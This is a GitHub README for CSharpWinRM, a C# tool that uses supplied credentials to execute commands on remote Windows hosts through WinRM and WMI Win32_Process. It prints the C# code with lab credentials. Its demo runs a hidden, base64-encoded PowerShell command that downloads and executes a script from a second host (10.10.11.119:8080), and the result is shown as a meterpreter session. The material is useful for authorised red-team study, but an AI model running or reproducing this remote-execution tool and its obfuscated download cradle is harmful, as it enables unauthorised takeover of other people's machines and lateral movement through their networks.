Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

mez-0/CSharpWinRM

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

11 Commits

Repository files navigation

CSharpWinRM

CsharpWinRM is a .NET 4.0 implementation of WinRM using the WinRM C++ API. This project takes in credentials and a command, then executes it on the remote host using Win32_Process.

Explanation

After looking into how the Win32_Process method in WMI is used to execute remote commands, I threw this together:

public static void Main()
{
 String command = "powershell.exe -nop -w hidden -e <snip>";
 String Target = "10.10.11.115";
 ConnectionOptions options = new ConnectionOptions();
 options.Username = "water.tribe\\Administrator";
 options.Password = "Password123!";
 String Scope = String.Format("\\\\{0}\\root\\cimv2", Target);
 Console.WriteLine("Scope:" + Scope);
 ManagementScope managementScope = new ManagementScope(Scope,options);
 managementScope.Connect();
 ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("Win32_Process"),new ObjectGetOptions());
 object[] process = { command };
 object result = managementClass.InvokeMethod("Create", process);
 Console.WriteLine(result);
}

Which is cool. So, I moved onto looking at how WinRM can be used in C#. Browsing through StackOverflow, people were typically doing this with PowerShell Runspaces. Except for one mad-lad who was using the WinAPI. I then rabbit-holed for an evening on this, which produces this project.

The DLL in use here is the wsmauto.dll. Referencing this DLL allows access to a bunch of WSMan methods.

All the heavy lifting is done by the IWSManSession interface, this gave access to two important methods:

The Identify() method is used to determine if the remote host is going to allow access, its used like so:

xmlIdentifyResponse.LoadXml(wsmanSession.Identify());

Where xmlIdentifyResponse is just an XmlDocument. If its possible, an XML response is returned:

<wsmid:IdentifyResponse xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xml:lang="">
 <wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion>
 <wsmid:ProductVendor>Microsoft Corporation</wsmid:ProductVendor>
 <wsmid:ProductVersion>OS: 6.3.9600 SP: 0.0 Stack: 3.0</wsmid:ProductVersion>
 <wsmid:SecurityProfiles>
 <wsmid:SecurityProfileName>http://schemas.dmtf.org/wbem/wsman/1/wsman/secprofile/http/spnego-kerberos</wsmid:SecurityProfileName>
 </wsmid:SecurityProfiles>
</wsmid:IdentifyResponse>

With that, most of the mind-melting was done by trying to determine the actionUri, and the resourceUri as seen in the IWSManSession::Invoke documentation. Until starting this project, I did not know that WinRM uses WMI under-the-hood, so I was soon able to link up WIn32_Process to create the process as seen in the WMI example at the start.

The following PowerShell command sheds some light on the resourceUri:

winrm help uris

This became:

string resourceURI = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process";

Finally, the actual payload. Originally, I was building the XML in one big String.Format, this would not respect anything after a space. So I could only run cmd.exe or something. But, thanks to this chap, I was able to get around that with a StringBuilder:

StringBuilder parameters = new StringBuilder();
parameters.Append("<p:Create_INPUT ");
parameters.Append("xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process\">");
parameters.Append("<p:CommandLine>" + Command + "</p:CommandLine>");
parameters.Append("</p:Create_INPUT>");

This is all then put together, and invoked:

String responseFromInvoke = wsmanSession.Invoke("Create", resourceURI, parameters.ToString(), 0);

Create being the Win32_Process method.

Demo

I'll preface this with:

It works for me.

Example command:

.\CSharpWinRM.exe 10.10.11.115 water.tribe administrator Password123! "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABOAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAE4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABOAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAvADgAMgBkAHIAWgBoADcATAA1AEsAYQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAnACkAKQA7AA=="

On execution, if successful, it should look something like this:

meterpreter

If the ReturnValue is 0, then all is well. It will also give the ProcessId:

PS C:\Users\Administrator> Get-Process -Pid 1344
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
 413 32 69676 71440 599 0.58 1344 powershell

The error codes can be seen here.

Usage

[*] Usage: .\CSharpWinRM.exe <Target> [Domain] [Username] [Password] <Command>
[*] Example 1: .\CSharpWinRM.exe 192.168.0.1 DomainName Administrator Password123! "powershell.exe -e blah"
[*] Example 2: .\CSharpWinRM.exe 192.168.0.1 "powershell.exe -e blah"

Once built, merge with:

.\ILMerge.exe /out:.\CSharpWinRM_merged.exe .\CSharpWinRM.exe .\Interop.WSManAutomation.dll

If, for whatever reason, the dll isnt available; its in:

CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll

References

  1. C# WSManSession Examples
  2. IWSManSession
  3. IWSManSession::Identify
  4. Windows Remote Management and WMI
  5. Using Remote Powershell/WinRM within C#/ASP.NET RRS feed

About

.NET 4.0 WinRM API Command Execution

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

AltStyle によって変換されたページ (->オリジナル) /